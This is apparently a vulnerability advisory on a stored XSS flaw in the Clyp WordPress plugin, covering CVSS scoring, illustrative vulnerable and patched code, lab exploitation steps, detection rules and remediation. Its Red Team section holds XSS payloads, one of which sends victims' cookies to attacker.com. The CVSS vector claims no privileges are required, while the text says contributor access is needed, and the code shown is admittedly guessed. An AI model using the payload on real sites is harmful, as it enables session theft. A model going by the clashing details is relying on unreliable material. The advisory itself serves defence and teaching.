CVE-2024-51617

Executive Summary

CVE-2024-51617 is a Stored Cross-Site Scripting (XSS) vulnerability in the Clyp WordPress plugin, version 1.3 and earlier. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into the WordPress site. This can lead to session hijacking, defacement, or redirection to malicious sites. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin files by checking checksums provided by WordPress.org. No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires user interaction)
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is medium due to the requirement for user interaction and the limited impact on confidentiality and integrity. However, stored XSS can be leveraged for more severe attacks in combination with other vulnerabilities.

Deep Dive & Mechanics

The vulnerability exists in the Clyp plugin's handling of user input when creating or editing posts. The plugin fails to sanitize or escape user-supplied data before storing it in the database and later rendering it in the browser. An attacker with contributor-level access can inject malicious JavaScript into a post, which will execute for any user viewing that post.

The root cause is the use of unsanitized $_POST or $_GET parameters directly in the plugin's output functions, such as echo or print, without proper escaping using WordPress functions like esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (version 1.3):

// In clyp.php or similar
function clyp_display_post_meta() {
    $clyp_url = $_POST['clyp_url'];
    echo '<div class="clyp-embed">' . $clyp_url . '</div>';
}

Patched Code (hypothetical):

function clyp_display_post_meta() {
    $clyp_url = isset($_POST['clyp_url']) ? esc_url($_POST['clyp_url']) : '';
    echo '<div class="clyp-embed">' . esc_html($clyp_url) . '</div>';
}

The patched version uses esc_url() to sanitize the URL and esc_html() to escape output, preventing XSS.

Exploitation & Lab Setup

Red Team

1. Setup: Install WordPress with Clyp plugin version 1.3 on a local server (e.g., using XAMPP or Docker).

2. Exploit Steps:

   • Log in as a contributor-level user.
   • Create a new post and inject the following payload into the Clyp URL field:

     "><script>alert('XSS')</script>
     

   • Save the post.
   • When an administrator or any user views the post, the script executes.

3. Advanced Payload:

   "><img src=x onerror=document.location='http://attacker.com/steal.php?cookie='+document.cookie>
   

Blue Team

1. Detection: Monitor for unusual post content containing script tags or event handlers.
2. Prevention: Implement Content Security Policy (CSP) headers to block inline scripts.
3. Response: If exploitation is detected, immediately remove the malicious post and reset affected user sessions.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/clyp/clyp.php (version 1.3)
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Log: WordPress audit logs showing posts with unusual HTML tags.
• Database: Entries in wp_posts or wp_postmeta containing <script> tags.

Detection Engineering

YARA Rule

rule cve_2024_51617_clyp_xss {
    meta:
        description = "Detects Clyp plugin files with potential XSS vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51617"
    strings:
        $vuln_func = /echo\s*\$_(POST|GET|REQUEST)\[/
        $plugin_header = "Plugin Name: Clyp"
    condition:
        $plugin_header and $vuln_func
}

Sigma Rule

title: Stored XSS via Clyp Plugin
id: 8a3f2c1e-5d7b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects stored XSS attempts in WordPress posts using Clyp plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/post.php'
        http.body: '*clyp_url*'
    condition: selection
falsepositives:
    - Legitimate use of Clyp plugin
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51617 Stored XSS in Clyp Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"clyp_url"; http_client_body; pcre:"/<script|<img\s+onerror/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Clyp plugin until a patch is available.
2. Workaround: Implement a Web Application Firewall (WAF) rule to block requests containing <script> in the clyp_url parameter.
3. Long-term: Monitor the plugin repository for updates. If no patch is released, consider replacing the plugin with an alternative.
4. User Training: Educate users with contributor roles about the risks of pasting untrusted content.

Valters IT